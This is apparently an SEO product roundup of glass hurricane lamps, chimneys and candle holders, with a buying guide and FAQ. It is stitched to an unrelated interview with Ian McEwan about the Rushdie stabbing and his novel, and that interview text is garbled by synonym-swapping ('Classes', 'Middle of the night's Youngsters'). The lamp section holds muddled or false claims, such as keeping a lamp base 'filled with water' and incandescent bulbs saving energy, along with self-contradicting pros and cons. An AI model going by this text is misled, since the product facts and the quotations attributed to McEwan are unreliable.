14X3. 14inch. This lamp shade is suitable for the use in the home, store, dorm, dormitory, hotel and some other occasions. - Oil Lamp Chimney Replacement: This kerosene lamp chimney is made of premium material for durable and practical use. The color is clear and is tailor indoor location use. - Kerosene Lamp Chimney Glass: This simple lampshade can be used for DIY kerosene lamp, and good windproof effect. It can protect your lamp from wind. - Oil Lamp Chimney: It can create warm atmosphere for your home or other places you want to decorate. Make your room and bedroom full of warmth and mood. Beautiful and fashionable, simple color matching. - Glass Kerosene Lamp Shade: Perfect for the living room, bedrooms, staircase, hallway, garages and porch. Clear glass allows bright, unobstructed light to flow to ensure authenticity. - Dimensions - Diameter: 3" | Height: 6" | Candles Not Included - in wedding events or home décor. It will easily attract attention to its elegance. - Looks- The looks of a Candle Holder shades. They are one of the most renowned glass decors in modern times. They come in different sizes. You will find one that fits your. - 3” bottom opening fits most large size oil lamps - Size: 8.5” H - Best results use with Lamplight Ultra-Pure or Medallion Lamp Oil - For oil lamp use only - 3-Way Dimmable& Touch Control Table Lamp: Our Lamp applied the 2021 latest sensor technology, tap anywhere of the base or pole to adjust the brightess of low, medium and high for different occasion. Suitable for reading in bedroom, working in office, decoring your living room. - 2 USB Charging Ports and AC Outlet: 2 Convenient 5V/2.1A USB ports and AC outlet for your 3 devices such as cellphone, ipad to be charged at the same time when the light on or off. No need to find ports or wall sockets for your multiple devices. - 360 degree Flexible Head: The light head can be easily rotated to light up where you need with the customized lighting for study, reading,playing, decoring. - Black Metal Industrial Design: Built with rust-proof metal body in black industrial finish, beautiful and fashion for your home. The metal body heavy properly to stand steadily. - 2800K Energy Saving Bulb Included: Our bedroom nightstand lamp is with E26 warm white bulb as bonus, give comfortable, relaxing and cozy soft glow with no flicker, no dazzle, better protect your eyes - 2 5/8" fitter base with 3 5/8” bulge | 10” Tall | will fit Rayo and Central Draft Lamps |. Glass Hurricane Lamp Review 2022 Touch of Class Adelaide Hurricane Table Lamp -. Designed in a nostalgic fairy tale style. Bring a romantic color, suitable for those who love the rustic and like to learn and collect antiques Of course, today’s modern homes all use incandescent light bulbs to save energy. But you should also choose this lamp because not only do they light up, save electricity, but they also adorn your home with the most points to make a difference. A hard-to-find desk lamp these days, with all the design of the 60s-70s, completely handcrafted from a glass base, large bulbs, sturdy frame and stylish decor. decorated with lights sparkling by many crystal beads from the base to the top of the lamp Although it is a nostalgic product, it is still integrated with modern features such as a light switch. Can be used with all bulbs with wattage less than 60W Easy to clean with soft brush or soft paper. Should wipe with water when dust is attached, then dry with a towel. Please limit chemical cleaners that damage the lamp surface Products are a gift that everyone loves, memories are something people are always looking for and this lamp will recall the glory days when only luxury homes could have them. Pros: - This is a lovely lamp that’s reminiscent of days gone by. - It’s beautiful in the window. - Well-packaged and well-made. - Beautiful and practical.Finely crafted to match Victorian decor.You must see this lamp in person to fully appreciate it. Cons: - If you live in earthquake country like we do, make sure you tape the feet on the base of the lamp to the table or stand it sits on. Beatrice Hurricane Rose Table Lamp Pink One Size - 🌹 AUTHENTIC EXCLUSIVE 🌹 - Designed with you in mind, this vintage lamp is one of our signature selections, which means you won't find an experience like this anywhere else in the whole wide world. You are worthy of this antique hurricane lamp look that is as unique as you are. Touch up your home in a way that is truly like no other. - 🌹 AESTHETICALLY VICTORIAN . - 🌹 ASTONISHING CRAFTSMANSHIP 🌹 - Created with intricate detail and curated through delicate care, this exceptional exclusive is tailored for you. The Beatrice Hurricane Table Lamp has painted by hand rose bouquets in light pink and dark rose, along with other flowers, on glass. Metal sections are hand-finished in antique brass. Top is scalloped; chimney is clear glass. Handcrafted hurricane lamp with floral charm Faux crystal beads accent the middle Key switch operates bottom, top, or both. - 🌹 AFFECTIONATE GIFT CHOICE 🌹 - Provide a touching gift of victorian charm for your close friend or significant other. Give them an authentic experience, one that is unique to them and cherished forever by them. Whoever it may be, whatever time it is, the Beatrice Hurricane Table Lamp is sure to showcase your affections to that gracious gift recipient. - 🌹 ALL MEASUREMENTS & PRODUCT CARE 🌹 - Globe shaped lamp measures 10 inches diameter by 24 inches high. Notably, it requires one 60W max. bulb and one nightlight bulb. For the best possible experience, dust with a soft, dry cloth. Do not use polishes, chemicals, or abrasives. Notably, full assembly is required. The special feature of this lighthouse is its antiquity. Although the lamp is small, when looking at it, people’s first impression is beauty, which contains a glorious period. Seeing the lamp in action, the pleasant light mixed with the happy atmosphere helps you relax your mind after a tiring working day. This way of enjoying is also what we aim for, a small lamp that makes you comfortable is a perfect choice. All the details on the lamp body are completely handmade, even the smallest details like these beautiful flower petals or crystals. What we aim for when manufacturing this lamp is that there are still many people who want to use it for nostalgia purposes. The table lamps with moderate light create a poetic space Instead of luxury gifts like clothes, bags or flowers as usual, this table lamp is not a bad suggestion, the recipient will always remember it as a handmade way to score points in the eyes of others. Cleaning is quite simple, just use a dry cloth to wipe off the dust on the outside and it will turn your lamp like it was just bought yesterday. Pros: - Perfect choice for your guest room - The lamp is very light and the top part doesn’t fit exactly right - The style isn’t an easy find. - It is beautiful and the colors are great and easy to assemble. It’s on your night stand. Cons: - It isn’t on the flowers, such in the middle of the white. Touch of Class Olivia Jane Hurricane Table Lamp - ⚜️ AUTHENTIC EXCLUSIVE ⚜️ - The victorian inspired lamp is our exclusive. In other words, you won't find this unique antique anywhere else in the whole wide world. - ⚜️ AESTHETICALLY VICTORIAN ⚜️ - All of us desire an escape from life-stress and an outlet for cultivating our well being. We do so through aesthetically appealing narratives. Experience the world of victorian beauty and vital romance with this Hurricane Table Lamp. Bring into your household the nostalgia of an often forgotten time of history and forbidden world of romance. Revitalize the signature arts of the 19th century, be immersed into this exclusive victorian experience. - ⚜️ ASTONISHING CRAFTSMANSHIP ⚜️ - Created with intricate detail and curated through delicate care, this exceptional exclusive is tailored for you. Accented with green leaves, handpainted claret and lavender roses bloom from the handblown white glass of the elegant Olivia Jane Hurricane Table Lamp. The handcrafted, antique brass metal footed base supports the lamp, embellished with trim and and dangling faux crystal gems under the top scalloped shade. - Olivia Jane Hurricane Table Lamp is sure to showcase your affections to that close friend or significant other. - ⚜️ ALL MEASUREMENTS & PRODUCT CARE ⚜️ - Measures 10"D. x 24"H. Notably, it requires one 60W max. bulb and one nightlight bulb. For best possible experience, dust with a soft, dry cloth. Do not use polishes, chemicals, or abrasives. The Olivia Jane Hurricane Lamp has a metal base, glass shades, and acrylic crystal accents. Among the countless table lamps on the market, these lamps, although designed for a long time, are still our pride in their position on the commercial floors. These lights represent a segment of customers who always love the beauty and love the royal lamp designs Entertainment by watching the lights work is also a feeling that is difficult to describe. More specifically, these lamps have a rather old design. Happiness is sometimes so simple and everyone can find such a product. Just by looking at it, all the fatigue is dispelled and the old memories come rushing back. Entirely designed by hand from the minutiae to the details that require high precision. From the lamp base to the top of the lamp, it is the dedication of the craftsman to bring users the most authentic and similar products. Choose this table lamp as a gift for your loved one. No matter how great the gifts are, they are not equal to the classic lamp that has appeared from the subconscious of every person With this product, cleaning is extremely simple, just need a soft cloth, soft cloth or dry paper towel to remove all dirt. Pros: - The perfect hurricane lamp for the room. - The colors and precision of the flowers are perfect - If you’re looking for an authentic antique look, this is it. Cons: - No 3 way switch so that the night light will burn alone, just a roller switch on the cord that turns on both lights. Mindy Hobnail Glass Table Lamp - 👑 SIGNATURE EXCLUSIVE 👑 - Designed with you in mind, we bring to you an offering that is utterly unique, found nowhere else in the world. Without a doubt in our heart, we believe you are worthy of lighting decor as wonderful, elegant and beautiful as you. Decorate your household atmosphere with distinction. - 👑 SPLENDOROUS EXPERIENCE 👑 - Imagine for a moment, relaxing bedside, lounging on your chair, reading novels in the office or refining your room aesthetic. Nighttime now rolls around, illuminating the need for light where you are. In these moments, what is an otherwise normal activity of life could become an extraordinary sight, each and every day. Guests will comment enthusiastically, most importantly, you will be inspired for years to come. - 👑 SIGHTWORTHY CRAFTSMANSHIP 👑 - Created and curated exclusively for you, parlor style lamp is handcrafted and handblown from glass, providing a truly authentic touch to its aesthetic. With an old fashioned hobnail pattern, lampshade forms the shape of a globe, scalloped at the top, 10 inches of frosted glass chimney reaches upwards. Metal accents on the font, base, and shade have an antique brass finish. - 👑 SENSATIONAL GIFT CHOICE 👑 - Whether it is your significant other or close friend dear to the heart, something special like this antique hurricane lamp is sure to provide their life warm delight. Watch them receive warmly, thankful for someone as thoughtful as you. - 👑 SPECIFICATIONS & CARE 👑 - Hurricane lamp measures 9 inches diameter by 20.5 inches high. Easy setup required. Key switch on socket operates three-way lighting on the top, bottom, or both. UL listed. Requires one 60 watt maximum bulb (not included) and one 7 watt nightlight bulb (included). For the best possible experience, dust with a soft, dry cloth. Do not use chemicals, polishes, or abrasives. We all want after a long stressful day at work to sit back and watch everything gently move. This desk lamp is proof of that, no matter how busy people are, just looking at it, the fatigue will disappear. The soft light from the lamp along with the sophisticated design brings people closer together The unusual lamp design creates a feeling of familiarity, we all want life to be light, right here, the lamp helps you to relieve that. Watch and everything seems to stop moving, for a moment you are mesmerized by the perfect lighting and design. All details are handmade, even the glass bulb is blown from the heat. This living room lamp is the center of attention. Creating shapes with simple motifs but meticulously handcrafted, looks easy but is very difficult to perform. So get to know yourself and own this wonderful lamp The lamp is like a gift that conveys love, warmth and a special highlight that is different from everything around. The lamp brightness is up to 60W, making the room more cozy. You can clean the lamp after you have disconnected all the electrical connections. Then with dry and soft materials to use, minimizing chemical waste Pros: - This lamp has hurricane styling and is delicate! - The hobnail pink fits in with our colonial decorating. - It really stands out. Cons: - The color was way off not really a rose or pink, more of an amber tone. Design Toscano Art Nouveau Rose - ROSE COURT HURRICANE LAMP is a charming replica of a Victorian parlor lamp that emits a warm; rosy glow from 2 lights - one on top and a base below that's a perfect night light. - FULLY ELECTRIC; THOUGH INSPIRED BY TRADITIONAL OIL-BURNING LAMPS; the wavy; liquid glaze finish on the crackled glass globes creates a pleasant luminosity. - TRADITIONAL GLASS CHIMNEY AND HURRICANE with crimp-top shade rise from acanthus leaf metal feet and metal collar finished in faux antique brass popular during the Art Nouveau period. Accepts one 7-watt and one 60-watt bulb; switch on cord. - AVAILABLE ONLY FROM DESIGN TOSCANO; this antique replica is a welcome addition to bedroom or parlor; and perfect on a side table. - Our collectible replica Rose Court lamps measure 0.5 x 20.5 x 42 cm 1.75 kg. The night light with a nostalgic and gentle design still occupies an important position in the hearts of customers no matter what time or life changes many things. The light is suitable for the room, the effect of the glass bulb makes the lamp more shimmering and luxurious. Compact, lightweight design, can be held with one hand without any problem. The glass housing is resistant to high temperatures, the lamp body is sturdy, and the surrounding textures are stable over time. A lamp suitable for all decor, wherever placed they still exude nobility for the owner of the house. Pros: - The lighting – the lamp have the little button switch on the bottom of the lamp, and did turn the lights on and off independently, worked beautifully - The lamp is two different colors - The base is amber and the shade is rose. Cons: - It has not a night light feature Glass Hurricane Pillar Candle Holder - AVAILABLE IN 3 SIZES TO MAKE A SET: These beautiful, functional, and well made candle hurricane holders are available in 3 different sizes. The small one measures 7" wide and 11" High. The medium measures 15" high and the large measures 19" high. We have a large glass hurricane cylinder, small glass hurricane cylinder, and medium glass hurricane cylinder. Each come with a rustic metal insert to display your choice of candle. - MULTIFUNCTIONAL: Remove the metal inserts to showcase seasonal accents on the bottom such as shells or pinecones. Display your favorite candle in these hurricane glass cylinders made of glass and metal. - HANDMADE & DURABLE: Each glass candle holder is handmade and may vary slightly. The glass is made of recycled glass which helps the environment. Candles display a rippling and bubble type texture and can sometimes have bluish or greenish tint to them. - PERFECT GIFT: Purchase all 3 glass candle hurricane holders with rustic metal insert and give it as a gift. Display this set of glass candle holders in your living room, dining room, foyer, or bedroom. This will surely add ambience and warmth to your room. - SATISFACTION GUARANTEE: First of a kind manufacturers premium quality of home decor products. We stand by our quality and workmanship.If you are not completely satisfied with your purchase or the product arrives damaged, please reach out to our customer support and we will help remedy the situation. The lamp meets most of the sizes you need from small, medium to large. Fits any room and helps to enhance the royal look. Everything is solid and linked together, ensuring absolute safety for users. Learn how to decorate candles for your first date. We have all the lighting tools you need. A cozy lamp, elegant light creates a nostalgic space. Promise to bring you a great experience Because all products are handmade, there are slight differences but do not harm any function, on the contrary, this is what characterizes each of our products. Each size of the lamp will be suitable for each room. The lamp also brings good luck and will be a meaningful gift for any occasion of the year. Excellent customer service, contact us to answer questions and return products quickly and accurately Pros: - It would make an amazing wedding gift and/or housewarming present! - It’s absolutely gorgeous! Came very well wrapped, no damage - Used as centerpiece for dining room table, but could also be used on coffee table or bedroom - Bottom of holder can be filled with anything to change up the look Cons: - It looks more narrow on pictures than it really is - It is pricey, but well made of heavy, thick glass. B&P Lamp 10 Inch Ribbed Student Shade A product from B&P, giving you a new experience by changing the old lights in your home. Elegant colors, light efficiency up to 60W, suitable for small and medium spaces. Glass is fired with a high temperature and blown by hand. Light bulbs are born as a masterpiece of artists The lamp body is meticulously made, sturdy and they are linked together by stainless steel. Durability is guaranteed for up to 2 years Pros: - Not only was it a really rich green better than the photo suggested - It arrived well before the estimated shipping date. - Perfect replacement for a damaged glove. - Arrived well packaged and in pristine condition. - This shade is perfect for your brass lamp. Cons: - The lamp was operating normally indoors when the shade split. LOVAPO Traditional Blue Table Lamps Brighten up your room. Unlike mini led lights, this is a stylish lamp that both brightens the room and can be replaced as a home decoration tool. The lamp is such an indispensable gift for life, everything is perfect from the bulb to the pleasant light it emits. They are made from recycled materials, which are non-toxic and environmentally friendly. Besides, the lamp will not take you too much time to clean, but just a small, soft towel can solve all the dirt attached to it. The lamp uses energy-saving bulbs, the lamp’s power consumption is very low, durable and safe against fire and explosion. Pros: - The shade is made of a gorgeous silk brocade, the base of the lamp has a beautiful icy blue color and looks hand painted - You have other beautiful items in this room, but these lamps are the most Precious. - The base is exquisitely crafted. The shade is a gorgeous light icy blue with delicate decorative, subtle designs. - The price is so reasonable for the quality and their beauty. Cons: - It takes a while to get them, but they are worth it. - Rustic Kerosene Lamps(Set of 2),5.8”Oil Lamps - . Universal size, suitable for today’s design style. Carefully selected materials are durable and safe for the environment Do not use gasoline during use to prevent unnecessary explosions, instead you can use pine oil, natural oils that are easy to absorb and burn. The product includes the lamp, the lamp body but does not include the fuel oil. Read the user manual carefully before using it, to ensure the safety for you and your family Outdoor family parties, picnics or earth hour will be great if you immediately own a lamp that both illuminates and decorates without using electricity. Pros: - Not meant for constant use, otherwise you’ll be stopping to refill this quite often - At dinnertime and in such a context they’re quite lovely. Cons: - Only 4″ tall but still come in handy when power goes out Vintage LED Hurricane Lantern - - GLASS SHADE: We provided the quality goods, If have any questions, please contact us by e-mail. Easily move the light to any location. Of course, you will prepare extra batteries in case the fun continues but the lights run out. Simple to operate, suitable for all ages and safe for young children. Lighting comes in multiple levels and you control the amount of light needed for each of your activities The lamp still retains its ancient style. Those who have been through the 90s will vividly remember the moment when light was still a luxury. Reminds you of an innocent and joyful childhood, the whole family gathers around a small lamp with clear light. Compact design, easy to use, easy to carry and perfectly suitable for camping and picnics. Pros: - You experience frequent power outages during Monsoon seasons and this small lantern provides more light than an ordinary flashlight. - The brightness is easily dialed with the accessible knob on the front of the lantern. - Ordered to use as emergency lighting for power outages Cons: - This is not as bright, but gives off enough light to keep you from stumbling around in the dark. - The slots were also a bit difficult to get the batteries into. Hurricane Taper Candle Holder - HURRICANE HOLDER: This elegant set includes a chic brass-plated candleholder base with a clear glass cylinder. | Dimensions: 3.25" D by 12.25" H. - NO OPEN FLAME: The glass sleeve will shield your candles from wind at an outdoor event or help light an indoor venue with a "no open flame" policy. - FITS TAPER CANDLES: The built-in taper holder can be used with any 3/4 - 7/8 inch candlestick. We recommend out Vigil Flameless Candle (ASIN: , not included). - PERFECT CENTERPIECE: Surround your taper hurricane with floral arrangements for a romantic wedding reception or display in your home year round. - SATISFACTION GUARANTEED: Our US-based support team can be reached by phone or seller message. The Hurricane Taper Candleholder has a 90 day warranty. Most lamp products are made from synthetic metals, alloys of iron or steel. Copper metal is the feature of this designer lamp. The bracket is made firmly, incorporating a glass bulb, a combination that pleases the most demanding customers The candles in front of the wind are also difficult to extinguish, because the design is perfect for outdoor parties, the flickering candlelight blends into the happy atmosphere of everyone. The size of the lamp holder is suitable for most candlesticks. You have complete confidence in the designs that have stood in the market for many years. We have a good customer service team. Your questions will be answered. We aim to bring the highest quality products to our customers message. The Hurricane Taper Candleholder has a 90 day warranty. Pros: - The candle holders are beautiful. They were packaged nicely and fit standard candles just fine. - Perfect size to move around the house. - Casual or elegant setting - Great for outdoor as glass keeps flame protected. Cons: - It’s a beautiful candle holder however the base looks gold than brass. Wal front Blizzard Hurricane Oil Lamp -. Your home will be special if you own a hurricane lantern. They are designed to please customers who love beauty, are creative in decorating and renewing their home. Noble colors, brilliant even in cold weather. Bringing the feeling of being lost in the scenes of the 70s-80s Easy to carry, easy to clean and eco-friendly material In addition to special notes for hurricane lanterns, you should also add yourself skills to avoid and handle unexpected incidents. Specific information and available in the manual Pros: - Lanterns gave out good light, but for the price this is the quality - You would have expected and not something you would use everyday as planned, more decorative. Cons: - You can only fill it to the brim of the tank before the brackets. Marrakech Turkish Table Lamp Christmas Decorations - . The lamp is handmade so what is special is that each lamp is a true original. You won’t be able to see any other lights but it. The artists have tried to integrate into the product an original and unique self Various colors for you to choose from. Each color is a distinct personality from gentle to vibrant. Classic style and attractive at first sight. Easy to use, easy to clean and safe for all ages including children Moderate weight and size, suitable for enclosed spaces and camping spaces. Pros: - Wanted just a little ambient light at night in the background in my living room. - It truly seems as described; hand made, glass. Surprising piece of art for the price. - It fits perfectly on your night table and goes perfectly with your tapestry. - The mosaic design is so pretty. - The light is bright, but not too bright. - The lamp does not get hot because there is only a small LED bulb inside. Cons: - Little LED bulb too, so won’t use much electricity. B&P Lamp Hurricane Shade - Clear borosilicate glass hurricane shade for candle lighting and displaying. - Borosilicate glass resists thermal shock better than regular glass making it stronger and safer for use with candle and kerosene lighting. - It measures 11 1/4" tall and the top and bottom openings measure 4 7/8". - Smooth and polished edges for clean finish and overall great look. - Produced by B&P Lamp Supply Using modern technology in lamp production, bringing new experiences to consumers. The lamp is an item that in addition to lighting can also decorate any position, as long as it is out of reach of children. The bulb is handmade, fired at high temperature, safe and durable, with good heat resistance during prolonged heating. Ideal lamp height, universal and easy to clean, replace or move In addition to hand-crafted glass bulbs, the edges of the product are also carefully forged, rounded corners to avoid impact and safe to use. Pros: - Very beautiful glossy finish as shown in the picture. - Very light in weight. - Wide and tall. Feels good to touch. - The glass is beautiful and seems very strong. - Perfect for the candles placed inside of them. Cons: - Looks great with candle burning. One needs to find a candle bottom holder. Mercury Glass and Black Bronze Traditional Uplight Accent Lamp - 13" high overall. Glass only is 6 3/4" high x 6 1/4" wide. Base is 5 3/4" wide. Weighs 4.1 lbs. - Uses one 40 watt standard-medium base bulb (not included). On-off in-line switch on the cord. - Accent lamp from the Regency Hill brand of lighting. Uplight style Mercury glass offers a warm glow for table displays. - Black bronze finish base. Metal construction. - Ribbed Mercury glass provides a vintage look. 8-foot long cord. Suitable weight, can be held with one hand. The lamp is solidly made for outdoor parties or decoration in the living room. Note the bulb efficiency is below 50W. Easy to operate and clean the lamp does not take too much time Moderate light, not too bright, brings a warm experience, immersed in a romantic space. Production materials are carefully selected, made mostly by hand, ensuring quality is always first. Pros: - This is a beautiful upright lamp. - The globe is a crackled silver, somewhat shimmery. - Certain times of the day, the way the sun shines in the room, they can appear gold. - The shipping was fast, the light was packaged securely, and it looks fabulous! - You can add a dimmer switch and a neat-o Edison bulb with warm light for added effect. Cons: - The on/off switch is on the cord, so that’s a little inconvenient but not a deal breaker. Glass Hurricane Lamp As Beauty Decor Of Your Room Have you ever walked into your guest room and wondered what it would look like if you swapped out the existing decor for a more stylish option? Perhaps you have always wanted to give that first impression of your living room a little extra elegance. Your home should reflect not only your personality, but also provide a comfortable, convenient space. Types Of Glass Hurricane Lamps Glass hurricane lamps are a type of glass lamp that has a hurricane-style glass shade. This type of lamp is often used to provide light in a room while also adding decoration. These lamps can provide lighting for your home, backyard, or even work space. The lamps are often used as nightlights and decorative fixtures in living rooms and bedrooms. These lamps can come in a variety of styles and finishes, allowing you to find the perfect lamp for your needs. They come in a variety of shapes, sizes, and shades. How To Choose The Right Glass Hurricane Lamp Glass hurricane lamps are a beautiful addition to any home. They come in a variety of shapes and sizes, so it can be difficult to choose the right one. Here are a few tips to help you choose the perfect lamp for your home. First, consider the size of the lamp. It should be large enough to make an impact, but not so large that it takes up too much space. Next, think about the style of the lamp. It should fit in with the rest of your home’s decor. There are many different styles of lamps, so look around to see what will work best for you. If you are choosing a contemporary style lamp, find one that fits with the other furnishings in your home. If you have a more traditional design theme, then find a lamp that suits it. Another option is to purchase an antique or vintage floor lamp. Considerations When Buying A Glass Hurricane Lamp A glass hurricane lamp is a beautiful addition to any room in your home. They come in a variety of shapes and sizes, and can be used as a standalone piece or part of a larger grouping. When buying a glass hurricane lamp, there are a few things to consider. The first thing to consider is the size of the lamp. Make sure to measure the space where you plan to place it to ensure that it will fit. Also, consider the height of the lamp. You need to make sure that you have enough space in your room to keep the lamp from interfering with daily activities and furniture. The base of the lamp is an important feature to consider. There are three main types: floor, table, and hanging. Floor lamps usually have a flexible or adjustable base that can be adjusted for different heights. Glass Hurricane Lamp Care And Maintenance A glass hurricane lamp is a beautiful addition to any room in your home. It is important to take care of your hurricane lamp to ensure that it lasts for years to come. Here are a few tips for taking care of your hurricane lamp: -Always use a soft, dry cloth to clean your hurricane lamp. -Do not use any harsh chemicals or solvents to clean your hurricane lamp. -Be careful not to spill any liquids on your hurricane lamp. First, if you have a hurricane lamp that has a colored glass shade, make sure to avoid placing it in direct sunlight. Direct sunlight can cause the paint on the outside of the glass to fade. Second, always make sure your hurricane lamp is not knocked over or tipped. Decorating With A Glass Hurricane Lamp A hurricane lamp is a great way to add some light and decoration to a room. They come in a variety of styles and colors, so you can find one that will match your decor. You can choose from metal or glass hurricane lamps. Some of them are shaped like a traditional hurricane lamp, while others have unique shapes. A great example is the double hurricane lamp that comes in two different colors and has three lamps inside. Another thing you need to keep in mind is the material of the lampshade. The most common materials are glass, plastic and ceramic. A great example for a glass hurricane lamp is one with a white shade, which comes with a base made from ceramic. The size and shape of a hurricane lamp also matter. If you like lanterns with a retro look, you can choose small or medium-sized lamps. How To Use A Glass Hurricane Lamp? A hurricane lamp is a type of lamp that uses oil to produce light. The oil is burned in a wick, which is then encased in a glass hurricane lamp. These lamps are often used as decoration, but can also be used to provide light in a room. They are used in emergency situations when power is out or unavailable. Hurricane lamps were invented by Englishman J.W. Lister in 1822, although they did not come into common use until much later. To use a hurricane lamp, first fill the glass base with oil. Next, insert the wick into the oil and make sure it is fully saturated. Then, light the wick. A hurricane lamp with a glass globe will emit heat and light, but will not produce enough heat to burn your skin. When you buy hurricane lamps at the store, they are already filled with oil. However, if you’re using an empty lamp you bought from a garage sale or flea market, you’ll need to fill it with oil. Glass Hurricane Lamps In The Hallway. Glass hurricane lamps line the hallway, casting a warm glow and lending a touch of elegance to the space. The lamps are beautiful and delicate, and they add a special touch to the decor. The living room is large and spacious, with several antique-looking sofas and chairs placed around a huge floor cushion. There is an inviting sofa by the window which looks out to the pool area, offering a great view of the lawn, trees, and beautiful fountain. The dining table takes up most of the space in the center of the room, and it’s surrounded by chairs of all shapes and sizes that blend together to form a harmonious whole. FAQs About Glass Hurricane Lamp What Are Glass Hurricane Lamps? Glass hurricane lamps are lamps that have a cylindrical glass body with a flared lip on top. They are often used to create a soft, ambient light. What Are The Benefits Of Using A Glass Hurricane Lamp? There are many benefits of using a glass hurricane lamp. They are a beautiful addition to any room, and they provide a soft, ambient light that is perfect for relaxing or reading. How Do I Care For My Glass Hurricane Lamp? To care for your glass hurricane lamp, be sure to keep the lamp base filled with water. A hurricane lamp is a type of lamp that is often used to provide light in a room. It is typically made out of glass and has a wick that is lit to provide light. There are several benefits of using a hurricane lamp. Do They Still Make Hurricane Lamps? Do they still make lamps that resemble hurricanes? I’m not sure, but I think they might. I remember seeing them in my grandparents’ house when I was a kid. They’re these really cool looking lamps with a glass hurricane surrounding a wick. Conclusion A glass hurricane lamp is a beautiful addition to any room. It is a simple object that can be used to create a warm and inviting atmosphere. It is also very easy to make. -. Here is the best suggestion for a glass hurricane lamp. You will have a perfect hurricane lamp in less than 20 minutes

Ian McEwan was once on vacation at the faraway coast of north-west Scotland when he heard the scoop that his nice pal Salman Rushdie have been attacked in New York. His spouse, the author Annalena McAfee, let loose a cry from the following door room within the small lodge the place they have been staying. The numbness of his first reaction was once briefly adopted by means of a sense of terrible inevitability: “How may I’ve been so blind?” Like Rushdie, McEwan had was hoping the specter of the fatwa was once over. “The tragedy of that is Salman all the time sought after to get again to having an ‘peculiar’ writing lifestyles, and that appeared to have took place,” McEwan says on a video name per week after the incident. The 74-year-old novelist is again in his Cotswolds house, surrounded by means of books and taking a look reasonably overwhelmed up after his first bout of Covid. The bleak results of coronavirus added to his “sense of visceral disgust” on the violence of the stabbing. “All of it gave the impression one with my very own belief of it,” he says. “A colossal weariness and likewise disgust on the concept that it takes a large number of hatred, a large number of zeal, to push a knife deep into anyone’s eye. It’s past the brink of human cruelty. And handiest an intact ideology, no longer to be had to disprove whatsoever, may deliver you to the purpose.” We had met previous in the summertime to speak about McEwan’s epic new novel, Classes, wherein the fatwa issued towards Rushdie for The Satanic Verses in 1989 seems as a part of the unconventional’s far-reaching take a look at postwar British historical past. “It was once a watershed second for the ones folks round Salman,” he says now. For writers, intellectuals and artists within the 70s or 80s, faith wasn’t a subject: “We didn’t even deny faith, it simply didn’t arise.” So when the fatwa was once decreed, “it was once explosive. It lower throughout such a multicultural assumptions we had on the time. Other folks whom we naturally maximum sought after to shield from racism have been burning books in Bradford.” Even if no longer at the beginning a part of the infamous gang of writers – Martin Amis, Julian Barnes and the past due Christopher Hitchens – who made their names within the 70s and ruled the literary scene for for much longer (too lengthy, consistent with their critics), Rushdie arrived a couple of years later with the e-newsletter in 1981 of Middle of the night’s Youngsters, which reworked each British and Indian writing, and gained the Booker prize that 12 months. “It was once wonderful, it expanded horizons,” McEwan says. “Salman is a smart conversationalist, with a super style for amusing and mischief,” he provides. “So all of us were given on instantly.” Audio extract: Classes Pay attention to an excerpt from the audiobook of Ian McEwan’s approaching novel McEwan’s ambition with Classes, his 18th novel, was once to turn the techniques wherein “international occasions penetrate particular person lives”, of which the fatwa was once a really perfect instance. “It was once a world-historical second that had fast non-public results, as a result of we needed to learn how to assume once more, to be told the language of unfastened speech,” he says. “It was once an overly steep studying curve.” It kind of feels atypical to take into account that 1989 was once additionally the 12 months the Berlin Wall got here down, a central match within the new novel. “The fatwa simply preceded a moderately superb time when democracies have been sprouting out throughout Europe, unfastened speech was once on the upward push, unfastened concept was once on the upward push,” he says. “The whole lot has modified from 33 years in the past. We now reside in a time of closely constricted, shrinking freedom of expression world wide: Russia, Saudi Arabia, Turkey, China, you title it. Plus the self-inflicted unfastened speech topic of the wealthy west.” It’s precisely this trajectory from younger optimism to disillusionment and melancholy that the unconventional charts, following the lifetime of his central personality, Roland Baines, from the Suez and Cuban crises appropriate as much as Brexit and the pandemic. McEwan completed writing Classes sooner than the Russian invasion of Ukraine, or else he would have integrated it as an extra instance as a part of the “trashing” of his hopes, which he compares to the thwarted desires of Orwell’s technology on the finish of the 30s. If he was once nonetheless writing, the assault on Rushdie could be in there, too. “It’s horribly consonant with the days,” he says. “We are living in an age of informal demise threats, of the type that washes in opposition to JK Rowling, for instance. For some lone, inadequate people, it’s a brief step to hold out some horrible act. It is a very darkish second.” Things glance a lot brighter once I meet McEwan in his immaculately white Bloomsbury mews again in July. He’s tanned and wholesome from a contemporary strolling vacation (he’s a dedicated hiker) within the Lake District with McAfee. He displays me {a photograph} of Lincoln Bridge, which they visited, the web site of a past due scene in Classes, when Roland, at the eve of his seventieth birthday, has a tussle with a Tory peer and is driven into the river. “That was once me feeling I used to be defeated by means of Brexit,” McEwan admits. He describes Classes as “a form of post-Brexit novel”. Our international has were given smaller, he says. “The ceiling in our rooms has reduced by means of two ft.” It’s the day sooner than Boris Johnson is compelled to surrender, and he tells a jolly tale about “a pleasing hour” he spent discussing Shakespeare with the previous top minister (who’s writing a biography of the playwright), after a dinner, lengthy sooner than Brexit. “He must get again to that e book,” McEwan says drily. Few interviews fail to notice the disconnect between the genial guy in linen blouse and jumper, who may simply as simply be an eminent scientist, and his enduring recognition as fresh fiction’s “prince of darkness”. Over his 50-year writing lifestyles, which has integrated profitable the Booker in 1998, changing into a fixture on college studying lists and blockbuster movies, no longer least Atonement, McEwan has been accorded the placement of “nationwide novelist”; “nationwide psychologist” even, a tag he winces at now. Classes is teasingly alert to the perils of being “white, hetero and previous” as a author these days. If there’s no longer a commotion when his novels don’t make it directly to the Booker longlist (Classes hasn’t), he’s no longer complaining. “We had our time,” he says sanguinely. “My technology, once we have been first publishing within the 70s, it was once very boyish. It was once a good international. We’re all in our 70s now. We will be able to’t whinge. And I particularly can’t whinge. And for excellent explanation why. We were given the prizes and a few cash, and we had the writing lifestyles. And now it’s this tsunami of different voices. The whole lot has spread out splendidly.” He began writing Classes in 2019, after a protracted exposure excursion for Machines Like Me. All he sought after to do was once keep at house and write right through 2020. “One will have to watch out what one needs for,” he deadpans. “All novelists are locked down. Lockdown is what we do. However I by no means concept I’d have such alternatives for overall immersion, seven days per week, continuously 12 hours an afternoon, damaged handiest by means of strolling the canine. I actually sought after to put in writing a protracted novel, to chill out into it, to reside in it.” Coming in simply shy of 500 pages, it’s a ways longer than McEwan’s characteristically “brief, sensible and saturnine” novels, as John Updike summed up his paintings in a 2002 assessment of Atonement. Such a lot for his statement in earlier interviews that he was once going to spend his 70s writing novellas. “I feel you could have written your closing novel,” a author pal wrote after studying the result. “Despite the fact that I am hoping you’ll write extra.” As McEwan concedes, you recognize what he way. “This is a novel of the backwards glance.” Billed as “the tale of a life-time”, it’s in some ways the tale of McEwan’s lifestyles. 